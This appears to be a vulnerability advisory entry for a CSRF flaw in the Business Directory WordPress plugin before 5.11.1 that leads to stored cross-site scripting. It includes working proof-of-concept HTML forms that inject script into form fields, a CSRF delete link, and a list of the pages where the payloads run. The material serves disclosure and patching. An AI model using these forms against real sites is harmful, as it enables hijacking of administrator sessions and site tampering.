Lucene search

K
wpexploit0xB9WPEX-ID:700F3B04-8298-447C-8D3C-4581880A63B5
HistoryApr 11, 2021 - 12:00 a.m.

Business Directory Plugin < 5.11.1 - Arbitrary Add/Edit/Delete Form Field to Stored XSS

2021-04-1100:00:00
0xB9
64

The plugin suffered from Cross-Site Request Forgery issues, allowing an attacker to make a logged in administrator add, edit or delete form fields, which could also lead to Stored Cross-Site Scripting issues. Note (WPScanTeam): The CSRF has ben fixed and proper capability checks have also been added in 5.11.1, however some sanitisation was still missing, still allowing XSS via a high privilege account in other pages and a different issue has been created for it

<!-- Change Form Field XSS -->
<form action="https://example.com/wp-admin/admin.php?page=wpbdp_admin_formfields&action=editfield&id=1" method="post">
<input type="hidden" name="field[id]" value="1">
<input type="hidden" name="field[tag]" value="title"> <input type="hidden" name="field[weight]" value="9">
<label> Field Label </label>
<input name="field[label]" type="text" aria-required="true" value="<script>alert(1)</script>">
<label> Field description <span class="description">(optional)</span></label>
<input name="field[description]" type="text" value="<script>alert(1)</script>">
<input type="submit" name="submit" id="submit" class="button button-primary" value="Update Field">
</form>

<!-- Add Form Field XSS -->
<form action="https://example.com/wp-admin/admin.php?page=wpbdp_admin_formfields&action=editfield&id=1" method="post">
<label> Field Label </label>
<input name="field[label]" type="text" aria-required="true" value="<script>alert(1)</script>"> 
<label> Field description <span class="description">(optional)</span></label>
<input name="field[description]" type="text" value="<script>alert(1)</script>">
<input type="submit" name="submit" id="submit" class="button button-primary" value="Update Field"> 
</form>

XSS payloads execute:
- On the business directory page when adding a listing: /business-directory/?wpbdp_view=submit_listing
- On the Import/Export page: /wp-admin/admin.php?page=wpbdp_admin_csv
- When adding/editing a listing /wp-admin/post-new.php?post_type=wpbdp_listing
- On various Settings page, such as /wp-admin/admin.php?page=wpbdp_settings&tab=listings&subtab=listings%2Fsorting, /wp-admin/admin.php?page=wpbdp_settings&tab=listings&subtab=search_settings

<!-- Delete Form Field-->
<a href="https://example.com/wp-admin/admin.php?page=wpbdp_admin_formfields&action=deletefield&id=1">Delete</a>
Related for WPEX-ID:700F3B04-8298-447C-8D3C-4581880A63B5